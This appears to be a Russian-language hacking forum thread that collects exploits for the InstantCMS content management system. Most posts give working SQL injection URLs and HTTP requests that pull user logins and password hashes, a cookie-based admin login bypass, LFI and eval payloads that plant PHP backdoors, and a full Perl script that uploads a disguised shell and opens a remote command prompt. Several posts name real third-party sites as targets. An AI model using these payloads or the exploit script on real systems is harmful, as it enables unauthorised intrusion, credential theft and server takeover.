Просмотр полной версии : Обзор уязвимостей InstantCMS
InstantCMS
version : 1.5.3
http://www.instantcms.ru/
SQL-INJ :
/admin/index.php?view=components&do=config&id=6&opt=edit&item_id=-1+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4,5,6+--+
(требуется доступ к админке.)
InstantCMS
v 1.5.3
SQL Injection
Уязвимость в /components/photos/frontend.php
if ($do=='view')
{
...
if (isset($_POST['orderby']))
{
$orderby = $_POST['orderby'];
$_SESSION['ph_orderby'] = $orderby;
}
elseif(isset($_SESSION['ph_orderby']))
{
$orderby = $_SESSION['ph_orderby'];
}
else
{
$orderby = $album['orderby'];
}
if (isset($_POST['orderto']))
{
$orderto = $_POST['orderto'];
$_SESSION['ph_orderto'] = $orderto;
}
elseif(isset($_SESSION['ph_orderto']))
{
$orderto = $_SESSION['ph_orderto'];
}
else
{
$orderto = $album['orderto'];
}
...
$sql .= " ORDER BY ".$orderby." ".$orderto." \n";
...
$result = $inDB->query($sql) or die(mysql_error().'<br/><br/>'.$sql);
}
Использование:
передача своего запроса методом POST в http://localhost/?view=photos&do=view.
(перед этим надо зарегистрироваться и авторизоваться)
P.S. иньекция после order by :(
InstantCMS
1.5.3
SQL INJ
localhost/components/forum/fronted.php
if ($do=='newthread' || $do=='newpost' || $do=='editpost'){
if (usrCheckAuth()){ #Вы должны быть авторизованы
...
if (isset($_GET['replyid'])) { $replyid = $_GET['replyid']; }
else { $replyid = 0; }
if(!isset($_POST['gosend'])){
$inDB->query("DELETE FROM cms_upload_images WHERE session_id='".session_id()."'");
if ($replyid){
$sql = "SELECT p.*, u.*, DATE_FORMAT(p.pubdate, '%d-%m-%Y в %H:%i') senddate FROM cms_forum_posts p, cms_users u WHERE p.id = $replyid AND p.user_id = u.id";
$result = $inDB->query($sql) ;
}
}
}
http://localhost/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,1 0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FROM cms_users+--+
В жизни:
http://kokshetau.kz/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,1 0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25%20F ROM%20cms_users+--+ //Требуется регистрация
SQL INJ
Требования : доступ к админке.
http://localhost/admin/index.php?view=components&do=config&id=7&opt=edit&item_id=-16+and+1=1+union+select+1,2,3,4,5,6,7,password,9,1 0,11+from+cms_users+--+
InstantCMS
1.5.3
SQL INJ
components/users/frontend.php
if ($do=='sendmessage'){
if (usrCheckAuth() && $inUser->id!=$id){
...
if ($usr || isset($_POST['massmail'])){
if (usrCheckAuth()){
...
if (isset($_GET['replyid'])) { $replyid = $_GET['replyid']; }
else { $replyid = 0; }
...
if ($replyid){
$sql = "SELECT m.*, u.* FROM cms_user_msg m, cms_users u WHERE m.id = $replyid AND m.from_id = u.id AND m.to_id = $from_id";
$result = $inDB->query($sql) ;
Требования :
Вы должны быть авторизованы
Использование:
<form action="http://localhost/?view=users&do=sendmessage&replyid=-100+and+1=1+union+select+1,2,3,4,5,password,7,8,9, 10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+cms _users+--+" method="post">
<input name="massmail" value="1">
<input type="submit" value="Send">
</form>
InstantCMS
1.5.3
SQL INJ
В админке:
1.
http://test1.ru/admin/index.php?view=components&do=config&link=banners&opt=edit&item_id=-100+and+1=1+union+select+1,2,3,4,5,6,7,8,9,10,pass word,12,13+from+cms_users+--+
2.
http://test1.ru/admin/index.php?view=components&do=config&link=board&opt=edit_cat&item_id=-100+union+select+1,2,3,4,5,6,7,8,9,password,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+cms _users--+
Ну и таких однотипных уязвимостей в админке множество.
P.S.
Раскрытие пути
http://localhost/admin/modules/mod_arhive/backend.php
Sc0rpi0n
27.03.2010, 01:48
Blind SQL-Injection
/componets/catalog/fronted.php
if (isset($_POST['orderby'])) {
$orderby = $_POST['orderby'];
...
}
if (isset($_POST['orderto'])) {
$orderto = $_POST['orderto'];
...
}
$sql .= " ORDER BY ".$orderby." ".$orderto;
$result = $inDB->query($sql);
POST http://instantcms/catalog/23/1 HTTP/1.0
Host: instantcms
Content-Type: application/x-www-form-urlencoded
Content-length: 65
orderby=(i.id* IF (ASCII(SUBSTRING(version(),1,1))=53,1,-1)) --
Strilo4ka
05.04.2010, 03:26
1.5.3
LFI + Eval Code Execution!
/admin/includes/cp.php
...function cpProceedBody(){
ob_start();
$link = str_replace('/', '', $GLOBALS['applet']);
$link = str_replace(':', '', $link);
$link = str_replace('-', '', $link);
$file = $link . '.php';
include('applets/'.$file);
eval('applet_'.$link.'();');
$GLOBALS['cp_page_body'] = ob_get_clean();
}...Result:
http://instant/admin/index.php?view=cats[lfi]
Example:
http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess[. т.д]
http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess%00
Модуль может быть другой!
Условие:
- админка;
- только \.
Jokester
05.04.2010, 12:08
1.5.3
LFI
/admin/includes/cp.php
...function cpProceedBody(){
ob_start();
$link = str_replace('/', '', $GLOBALS['applet']);
$link = str_replace(':', '', $link);
$link = str_replace('-', '', $link);
$file = $link . '.php';
include('applets/'.$file);
eval('applet_'.$link.'();');
$GLOBALS['cp_page_body'] = ob_get_clean();
}...Result:
http://instant/admin/index.php?view=cats[lfi]
Example:
http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess[. т.д]
http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess%00
Модуль может быть другой!
Условие:
- админка;
- только \.
А чем вам не нравится eval ? Я код не качал, но исходя из того, что вижу, он должен работать:
?applet=;system('ls');rand
Или там что-то мешает?
PS
И кстати, да у меня тут хакеры спрашивают WTF???
$link= str_replace('/', '', $GLOBALS['applet']);
а потом
view=cats\..\..\..\..\.htaccess
Выкладывай весь необходимый код, ибо нихрена не понятно
Sc0rpi0n
05.04.2010, 12:40
?applet=;system('ls');rand
Или там что-то мешает?
/admin/index.php
if (isset($_REQUEST['view'])){
$GLOBALS['applet'] = $_REQUEST['view'];
} else {
$GLOBALS['applet'] = 'main';
http://test/admin/index.php?view=;phpinfo();rand
Просто Джокестр,не смотрел код, там в индексе
if(isset($_REQUEST['view']))
{
$GLOBALS['applet'] = $_REQUEST['view'];
} else
{
$GLOBALS['applet'] = 'main';
}
Эм сорри, опередил Скорп :)
Strilo4ka
05.04.2010, 17:36
Blind Sql inj v.1.5.3
index.php...
$inCore->onlineStats(); //обновляем статистику посещений сайта
.../core/classes/db.class.php...
public function query($sql){
$inConf = cmsConfig::getInstance();
$sql = $this->replacePrefix($sql);
$result = mysql_query($sql, $this->db_link);
if ($inConf->debug){
$this->q_count += 1;
$this->q_dump .= '<pre>'.$sql.'</pre><hr/>';
}
if (mysql_error() && $inConf->debug){
die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
}
return $result;
}.../core/cms.php...
//собираем информацию о текущем пользователе
$sess_id = session_id();
$ip = $_SERVER['REMOTE_ADDR'];
$useragent = $_SERVER['HTTP_USER_AGENT'];
$page = $_SERVER['REQUEST_URI'];
$refer = @$_SERVER['HTTP_REFERER'];
...
...
if (@$_CFG['stats']){ //если включен сбор статистики на сайте
//смотрим, есть ли запись про текущего пользователя
$sql = "SELECT id FROM cms_stats WHERE (ip = '$ip' AND page = '$page')";
$result = $inDB->query($sql) ;
//если записи нет - добавляем
if (!$inDB->num_rows($result)){
$sql = "INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('$ip', NOW(), '$page', '$useragent', '$refer')";
$inDB->query($sql) ;
}
}...@$_CFG['stats'] - перемененная по умолчанию выключена, но если админ собирает статистику, то нам очень повезло! Можна крутить как blind SQL ing ):
Надо :
/includes/config.inc.php
...$_CFG['stats'] = '1';...Если включена еще $_CFG['debug']=1, то нам повезло вдвойне!Можна крутить как blind SQl ing через ошибку!
В даном случае будет такое вот сообщение:
DATABASE ERROR:
INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('127.0.0.1', NOW(), '/content/21/stati', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9', 'http://instant/'')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''http://instant/'')' at line 1Условия:
- включена переменная сбора статистики (лучше когда еще и отладки!);
- бегать по разным страницам || с разных ИП;
- mg=off.
Jokester : Где эксплуатация?
Strilo4ka
05.04.2010, 19:13
Вот она:
в User_Agent:
hack', (select * from (select name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1),name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1))x))/*
DATABASE ERROR:
INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('127.0.0.1', NOW(), '/faq/13', 'hack', (select * from (select name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1),name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1))x))/*', 'http://instant/search/25')
Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'С бинарным поиском надо писать ескплоит разве что!
Strilo4ka
24.04.2010, 07:29
Релиз версии 1.6
22 апреля 2010
blind SQL inj & обход авторизации
Предыдущая тоже.
core/classes/user.class.php...public function autoLogin(){
$inDB = cmsDatabase::getInstance();
$inCore = cmsCore::getInstance();
if ($inCore->getCookie('userid') && !$this->id){
$cookie_code = $inCore->getCookie('userid');
$sql = "SELECT * FROM cms_users WHERE md5(CONCAT(id, password)) = '$cookie_code' AND is_deleted=0 AND is_locked=0";
$res = $inDB->query($sql);
if($inDB->num_rows($res)==1){
$userrow = $inDB->fetch_assoc($res);
session_register('user');
$_SESSION['user'] = self::createUser($userrow);
cmsCore::callEvent('USER_LOGIN', $_SESSION['user']);
$inDB->query("UPDATE cms_users SET logdate = NOW() WHERE id = ".$_SESSION['user']['id']);
$this->resetStatTimer();
} else {
$inCore->unsetCookie('user_id');
}
}
return true;
}...core/cms.php...public function getCookie($name){
if (isset($_COOKIE['InstantCMS'][$name])){
return $_COOKIE['InstantCMS'][$name];
} else {
return false;
}
}...core/classes/db.class.php
.../////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public function query($sql, $ignore_errors=false){
$inConf = cmsConfig::getInstance();
$sql = $this->replacePrefix($sql);
$result = mysql_query($sql, $this->db_link);
if ($inConf->debug){
$this->q_count += 1;
$this->q_dump .= '<pre>'.$sql.'</pre><hr/>';
}
if (mysql_error() && $inConf->debug && !$ignore_errors){
die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
}
return $result;
}...Как видно здесь блинд & обход авторизации (можно так сказать).
Устанавливаем в куки ; InstantCMS[userid]=antichat' or group_id=2/*
group_id=2 - група админов поидеи!
В детали не уходил, ну у меня в таблице в админа 2 .
Появляються линки в панели, доступные для админа и можно смело заходить, тока не сразу, сессионные куки тока установляться. Заходим на любой линк ):.
Вот так будет точнее, потому что надо чтоб запрос вернул одну запись.
В одной групе может быть много админов, и кука выше толку не даст!:
; InstantCMS[userid]=antichat' or 1=1 limit 0,1/*
Если попался не админ, то крутим limit.
Мы админ, мои приветствия!
Блинд можно бистрее крутить через ошибку если cms крутиться в режиме отладки.
Выше в посте о блинде в предыдущей версии было названа переменная, которая отвечает и где находиться.
target: index.php (та й в принцыпе любая!)
Дорк: InstantCMS
Условие: mg=off
пример ис жызни:
http://instant-cms.ru
; InstantCMS=12345' or 1=1 limit 0,1/*
http://lig.com.ua/
в режиме отладки.
; InstantCMS[userid]=12345' or 1=1 limit 0,1#
http://bboldino.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
http://www.combatshop.biz
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
в режиме отладки!
http://expo.sec4all.info
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
Баги не пофиксены.
Code Execution + LFI(Win) и Blind SQL inj описаны в постах выше.
Result:
http://www.instant/admin/index.php?url=Location:+index.php&f=css/1.php&cod=%3C?+system($_GET[cmd]);+?%3E&view=;file_put_contents($_GET[f],$_GET[cod]);header($_GET[url]);rand
http://www.instant/admin/css/1.php?cmd=dir
Можна еще урл-кодировать чтоб непаливно было! Не забываем что file_put_contents - PHP 5.
Имеем при mg=on!
Можна поиграться с каталогом proc или с протоколом дата (php>=5.2.0 і allow_url_include=on)!
На сколько фантазии хватит на стока и пыхаем код1
С блинд анолочино поста выше.
Главное - [U]заманить авторизованого админа!
The matrix
06.05.2010, 03:23
InstantCMS <=== 1.5.3 LFI
Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана
................
if (isset($_REQUEST['do'])){ $do = $_REQUEST['do']; } else { $do = 'rss'; }
if (isset($_REQUEST['target'])){ $target = $_REQUEST['target']; } else { die(); }
if (isset($_REQUEST['item_id'])) { $item_id = $_REQUEST['item_id']; } else { die(); }
if (!isset($cfg['addsite'])) { $cfg['addsite'] = 1; }
if (!isset($cfg['icon_on'])) { $cfg['icon_on'] = 0; }
if (!isset($cfg['maxitems'])) { $cfg['maxitems'] = 50; }
////////////////////// RSS /////////////////////////////////////////////////////////////////////////////////////////////////
if ($do=='rss'){
$rss = '';
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
.............
Need: MQ=OFF
Как юзать:
передаем item_id, чтобы не вызвать die и evil file через target.
далее можно залить "картинку" в профиле и сделать инклуд.
http://localhost/components/rssfeed/frontend.php?item_id=1&target=evilfile%00
Для удобства написал сплоент дающий выполнение системных команд через LFI.
Работает безотказанно =)
CODE EXECUTION
#!/usr/bin/perl
######################
# Подключим библиотеки
######################
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use HTTP::Request::Common;
use Time::HiRes qw(sleep);
#####################
# Зададим параметры
#####################
getopt("d:h:u:p");
if (!$opt_h) {
&logo();
exit();
}
if (!$opt_d) {
&logo();
exit();
}
if (!$opt_u) {
&logo();
exit();
}
if (!$opt_p) {
&logo();
exit();
}
$host=$opt_h;
$dir=$opt_d;
$user=$opt_u;
$password=$opt_p;
$page2="index.php";
$page1="core/auth.php";
$page11="login";
$ereg = '<cmd>(.*?)<\/cmd>';
$cmd="echo matrix";
$fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>';
$exit="exit";
######################
# Лицо
#####################
#
sub logo()
{
print
"\t\t
################################################## #########################
############ INSTANT CMS <=== 1.5.3 remote code execution #
############ coddddeeddd by The matrix (antichat.ru) #
################################################## #########################
# usage: exploit.pl #
#-h [host] #
# -d[path with site] #
# -u [login] #
# -p [password] #
# exploit.pl -h http://site -d / -u evil -p qwer #
# !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF #
# #
# #
################################################## #########################\n\n";
}
#############################
# аутификация
#############################
sub auth() {
print"[~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='ok';
$answer=$client->post(
"http://".$host.$dir.$page1,
[
'login' => $user,
'pass' => $password,
'Submit'=> $op
]
);
}
sub auth2() {
print"[~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='ok';
$answer=$client->post(
"http://".$host.$dir.$page11,
[
'login' => $user,
'pass' => $password,
'Submit'=> $op
]
);
}
#############################
# тест печенюшек
#############################
#
sub test() {
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /logout/){
print"[+]login complete";
}
else{
print "\n[-]login failed...Ok...Time for plan B...";
$debug=1;
}
}
sub test2() {
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /logout/){
print"[+]login complete";
}
else{
print "\n[-]login failed. check you account";
exit();
}
}
#######################
# Get id
#######################
sub id {
print "\n[~] Getting id";
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /users\/0\/(.*?)\/profile.html/) {
$id=$1;
print "\n[+] Yes, id = $id";
$page3="users/0/".$id."/addphoto.html";
}
else {
print "\nfailed get id";
exit()
}
}
#######################
# Upl0ad fucking shell
#######################
sub main {
print "\n[~]Uploading...";
$response = $client->request(POST "http://".$host.$dir.$page3,
Content_Type => 'multipart/form-data',
Content =>
[
upload => 1,
userid => $id,
picture =>
[
undef,
"123.jpg",
content => $fucking_shell,
"Content-Type" => "image/gif"
]
]);
$ans = $response->content;
open(F1,"> one.txt");
print (F1 "$ans");
print "\n[~]Get some fucking image hash";
if ($ans =~ /name="imageurl" value="(.*?)"/) {
print "\n[+]image hash = $1";
$hash=$1;
}
}
########################
# CODE EXECUTION Test!
########################
sub exec {
$page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00";
print "\n[~] Testing code execution";
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[
cmd => $cmd
]
);
$ans = $response->content;
if ($ans =~ /matrix/) {
$expl0it3d=1;
print "\n[+] Target has been Exp0it3d!!!!!!!!";
}
else
{
print "\n[-]sorry magic_quotes=on or cms unvulnerable";
}
}
&logo();
&auth();
&test();
if ($debug==1) {
&auth2();
&test2();
}
&id();
&main();
&exec();
########################
#Счастье
########################
if($expl0it3d == 1) {
while($cmd !~ /^exit$/i) {
print "\ncmd-line\#:";
$cmd=<STDIN>;
chomp $cmd;
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[
cmd => $cmd
]
);
$ans = $response->content;
if ($ans =~/$ereg/si) {
print "$1";
}
else {
print "what the fuck????";
}
}
}
The matrix
07.05.2010, 22:02
2Strilo4ka
- включена переменная сбора статистики (лучше когда еще и отладки!);
- бегать по разным страницам || с разных ИП;
- mg=off.
MQ слеширует в GPC. А $_SERVER['HTTP_USER_AGENT'] тронут не будет. Так что эта бага не такая уж и бесполезная, как кажется на первый взягляд=)
Strilo4ka
07.05.2010, 22:07
2Strilo4ka
MQ слеширует в GPC. А $_SERVER['HTTP_USER_AGENT'] тронут не будет. Так что эта бага не такая уж и бесполезная, как кажется на первый взягляд=)
Это понятно... Очепятка была что в условии написал.
Strilo4ka
08.05.2010, 04:53
Еще раз возвращаемся к єтой CMS.
Cмотрим админку в самой последней версии.
/admin/includes/cp.php
function cpProceedBody(){
ob_start();
$link = str_replace('/', '', $GLOBALS['applet']);
$link = str_replace(':', '', $link);
$link = str_replace('-', '', $link);
$file = $link . '.php';
include('applets/'.$file);
eval('applet_'.$link.'();');
$GLOBALS['cp_page_body'] = ob_get_clean();
}Как видно, баг не пофиксен.
Искал уязвимости, но увилел запись в сесcию и неоставил без внимания.
/components/price/cart.php
define("VALID_CMS", 1);
session_start();
include('../../includes/config.inc.php'); //configuration
include('../../includes/database.inc.php'); //database connection
include('../../core/cms.php'); //CMS engine
if (isset($_REQUEST['addtocart'])){
if(!isset($_SESSION['cart'])) { session_register('cart'); $_SESSION['cart'] = array(); }
foreach($_REQUEST as $key=>$value){
if (strpos($key, 'item')===0){
if(isset($_SESSION['cart'][$value])){
$_SESSION['cart'][$value] += $_REQUEST['kolvo'][$value];
} else {
$_SESSION['cart'][$value] = $_REQUEST['kolvo'][$value];
}
}
}
header('location:/price/cart.html');
}
if (isset($_REQUEST['clearcart'])){
$_SESSION['cart'] = '';
session_unregister('cart');
header('location:/price/cart.html');
}Результат:
Пишем в сесию выполнение eval.
PHPSESSID=c44e2475683109ef2da34559883edc2f
_http://[host]/[path]/components/price/cart.php?addtocart&item=e&kolvo[e]=<? $handle = fopen('b.php', 'w');fwrite($handle, '<? eval(stripslashes($_REQUEST[f])); ?>');fclose($handle); ?>
После CSRF в админке
Win
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=Z:\tmp\sess_c44e2475683109ef2da34559883edc2f
Диск на винде можно, например, с константы __FILE__ выдрать.
Unix
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=/tmp/sess_c44e2475683109ef2da34559883edc2f
Имеем выполнение кода для нас
_http://[host]/[path]/admin/b.php?f=phpinfo();
плюс - не надо задевать другие ресурсы, тоесть вся информация крутиться на целевом сервере!
Можно заюзать LFI The matrix. Посмотрел в 1.5.2 файл cart.php - такой же ):
The matrix
08.05.2010, 22:49
0day
минуточку внимания.
Instant cms.
Множественные sql инъекции
Применимо:Для всех версии(на сегодня последняя 1.6).
Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой не требуется ни RG=ON не MQ=off!!!
Постараюсь рассказать процесс и его суть в точности как он проходил у меня
идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=1&opt=plus&target=content&item_id=20
POST'ом перекинули значения на /core/ajax/karma.php
вот са фак:
Сорри. Забегу вперед. С этими переменными мы будем иметь дело, код говорит нам о ненужности RG.
/core/ajax/karma.php
if (!isset($_REQUEST['target'])) { die(2); } else { $target = $_REQUEST['target']; }
if (!isset($_REQUEST['item_id'])) { die(3); } else { $item_id = $_REQUEST['item_id']; }
if (!isset($_REQUEST['opt'])) { die(4); } else { $opt = $_REQUEST['opt']; }
теперь функции
if (!$inUser->update()) { $inCore->halt(); }
................................
$inCore->loadLib('karma');
if ($opt=='plus'){
cmsSubmitKarma($target, $item_id, 10);
}
if ($opt=='minus'){
cmsSubmitKarma($target, $item_id, -1);
}
$postkarma = cmsKarma($target, $item_id);
...........................
Роем скрипты и смотрим где объявляются функции loadLib() и cmsKarma(); // найти мне помогла тузла от raz0r'a.
/core/cms.php
public function loadLib($lib){
$libfile = PATH.'/core/lib_'.$lib.'.php';
if (file_exists($libfile)){
include_once($libfile);
return true;
}
понятно. Значит
$inCore->loadLib('karma');
подгрузит нам:
/core/lib_karma.php
Значит что тут.
/core/lib_karma.php
function cmsKarma($target, $item_id){ //returns array with total votes and total points of karma
$inDB = cmsDatabase::getInstance();
$sql = "SELECT *, SUM(points) as points, COUNT(id) as votes
FROM cms_ratings
WHERE item_id = $item_id AND target='$target'
GROUP BY item_id";
$result = $inDB->query($sql);
if ($inDB->num_rows($result)){
$data = $inDB->fetch_assoc($result);
$data['points'] = round($data['points'], 2);
} else {
$data['points'] = 0;
$data['votes'] = 0;
}
return $data;
}
Вот и запрос. Судя по karma.php и lib_karma.php $item_id и $target не обрабатываются. Инэектить мы будем $item_id тк в запросе он не обрамлен кавычками, а значит мы обойдем MQ =)
Вернемся к нашему отснифаному пакету. И модифицируем его так:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=&opt=plus&target=conten
Это логическая единица.
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=&opt=plus&target=conten
Это логический 0.
По причине фильтра POST данных переопределяем item_id через куки.
Как и для прошлой уязвимости. Для удобства написал эксплойт. Но пока я похраню его у себя, чуть позже выложу. В паблик пока не солью, пробиваемость сайтов с гугла высокая. Пишите сами или юзайте там где можно Duplicate column метод.
Большое послесловие. Как я и говорил sql инж очень много. Завязывается все вокруг $target и $item_id. Фкнкции из файла lib_karma.php используются много где не только в karma.php.
lib.karma.php
function cmsSubmitKarma($target, $item_id, $points){
$inUser = cmsUser::getInstance();
$inDB = cmsDatabase::getInstance();
$id = $inUser->id;
$ip = $_SERVER['REMOTE_ADDR'];
if(!cmsAlreadyKarmed($target, $item_id, $id)){
$sql = "INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())";
$inDB->query($sql);
}
return true;
}
вышеупомянутая SubmitKarma
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())
Можно было бы составить evil запрос и вывести значение прямо в points, после чего его можно было наблюдать на странице новости без всяких blind, но структура таблицы нам не позволяет этого сделать поле points имеет type int(11). Поэтому:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
логический 0
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
Логическая единица.
The matrix
10.05.2010, 00:08
sql inj
"Админский зл0й баннер"
Уязвимы все версии.
Не такая полезная бага, чем те, которые я постил выше, она пригодится если уязвимости выше залатаны, и удалось попасть в админкую.
NEEED's =)
Права админа
MQ=off
Заходим. Админка=>Компоненты=>баннеры.
Запрос добавления злых админских баннеров следующий:
INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '$title', '$link', $published)";
красненькая переменная, попадает в запрос без обработок.
смотрим тайп.
Field:link
Type:varchar(250)
этот столбец нам подходит. В него и будем писать злой запрос.
Заполняем форму, выбираем картинку только
Забиваем в название баннера следующую шляпу:
1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #
запрос примет вид
INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #', '$link', $published)";
все. Теперь заходим в список наших баннеров. Открываем наш зл0й баннер. и в поле
'ссылка баннера' наблюдаем подобную картину:
admin:5f4dcc3b5aa765d61d8327deb882cf99
на этом все.
The matrix
10.05.2010, 04:43
aXSS
для разнообразия XSS .
у этой цмс к хсс прям какой-то иммунитет.
Но все же лазейка нашлась.
по сути.
Свежайшая xss. Заключается в "щедящей" обработке файлов залитых юзером.
Идем в Профиль=>Content=>Файлы. Видим, что можно лить всяко-разные файлы. Единственное интересное расширение, которое поддерживает эта заливалка-это .htm. Ну вот собственно мы и зальем htm файл с evil JS кодом. Который потом вежливо выполняется.
что есть:
[+] Сессия генерируется из login'a и password'a.
[+]Сессия очень живучая(пока вражеский админ не сделает logout).
[+]Файл на сервере выглядить безобидно. А значит Впарить ссылку на него не трудно.
[+] сессия постоянная см п1 . Значит использовать можно неоднократно.
[+] на момент написания уязвимы все версии движка.
[-] Как не крути а xss пассивная.
The matrix
11.05.2010, 19:40
sql inj instantCMS <== 1.5.3
Need:mq=off
как раньше писал в этой цмс почти все фильтруется, что передается методом post, код усеян регулярками.
Но есть одна особенность. Все это хорошо конечно, но фильтр пропускает
1) \
2) "
Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \
ошибка есть, но толку нет, insert запросы никак не закрыть т.к '(одинарная кавычка) обрабатывается фильром и заменяется на `(апостроф).
Ближе к делу. Рассмотрим скрипт регистрации юзеров.
/components/registration/frontend.php
